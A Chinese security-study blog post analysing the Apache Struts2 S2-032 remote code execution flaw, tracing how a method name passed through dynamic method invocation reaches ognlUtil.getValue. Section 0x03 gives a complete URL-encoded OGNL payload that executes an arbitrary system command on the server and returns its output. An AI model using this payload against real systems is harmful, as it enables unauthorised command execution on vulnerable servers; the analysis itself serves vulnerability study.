【漏洞分析】S2-032远程代码执行漏洞分析

0x01 前言

最近在学习java安全,第一个目标就是Struts了,准备找一些比较典型的Struts漏洞进行一系列的分析。

0x02 漏洞分析

首先,看一下官方文档

官方文档

看了一下发现是由于动态方法调用(DMI)所引起的远程代码执行,下载Struts 2.3.28和Struts 2.3.28.1进行代码分析

使用Beyond Compare比较一下两个版本的区别

排查了一下,发现在DefaultActionMapper.java中(又是这个。。)

进入代码,发现在对传入的方法名称的时候使用了cleanActionName方法进行过滤了

这个cleanActionName方法是新写的,主要是


如果方法名称不再这个pattern范围内,就不行。

既然这里存在问题,那么我就在此处下个断点,看看整个流程是如何的。


在运行代码之前,要在struts.xml中加一句


这个用来把动态方法调用开启。

看了一下DefaultActionMapper类的声明


跟之前S2-016的用法比较类似,使用?method:execute的方式调用execute方法(execute方法是struts2中默认的action调用方法,这里我本地搭建环境,为了方便就是用execute方法了)

开始访问url



程序在断点处停止了,然后一直跟进
当进入Dispatcher类中的serviceAction方法中的



选择单步跳入

一直选择单步跳入,跳到


这里的话算对了。(对了就不要停!继续跟进!)

跳到DefaultActionProxy类中的DefaultActionProxy方法中,我们可以看到这个我们传入的方法被带入到escapeHtml4进行处理


在监视器中可以看到methodName确实是我们传入的execute


这里会进行html编码、转义操作。

之后就一直单步跳出,一直跟踪到Dispatcher类的proxy.exeute()的时候再单步进入


然后在invocation.invoke()处再次单步步入


之后看到我们有一个invocation.invoke(),这个是用来执行struts2的拦截器的,在这里步入


在这里有一处:

resultCode = interceptor.getInterceptor().intercept(DefaultActionInvocation.this);

此处是递归执行拦截器方法,会在这里执行多次,多点几下,然后到达下面的invokeActionOnly,进入


多次步入之后就会进入DefaultActionInvoke类中的invokeAction方法中,有一个ognlUtil.getValue方法,此处会将method的名字,也就是我们传入的,可控的传入进去,当做ognl表达式来执行。

这样我们就知道了在method:后面加上我们要执行的ognl表达式即可执行任意代码了。

0x03 exp编写

%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=ls&dd= &d=____A&encoding=UTF-8

这里需要注意的是之前我们分析的时候发现我们传入的参数会被html编码以及转义的操作,因此我们写payload的时候不能出现双引号或者单引号等等,因此这里用#parameters.cmd[0]来获取命令,并且使用@org.apache.struts2.ServletActionContext@getResponse()来获取response对象

0x04 总结

  • DefaultActionInvocation类中的intercept方法是用来执行拦截器的
  • Struts2的拦截器是递归调用的
  • 拦截器中的代码执行顺序,在执行Action之前,与堆栈执行顺序一致;而在Action和Result之后,则是逆序执行
  • Action层面的四个方面分别是:拦截器、Action、PreResultListener、Result
  • 在DefaultActionInvocation中的invokeAction,存在ognlUtil.getValue方法,可以执行ognl表达式
  • ognl获取response对象的方法:
    1. @org.apache.struts2.ServletActionContext@getResponse()
    2. #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')
  • #parameters.cmd[0]等价与request.getParameter('cmd')
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,738评论 5 472
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,377评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,774评论 0 333
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,032评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,015评论 5 361
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,239评论 1 278
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,724评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,374评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,508评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,410评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,457评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,132评论 3 316
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,733评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,804评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,022评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,515评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,116评论 2 341

推荐阅读更多精彩内容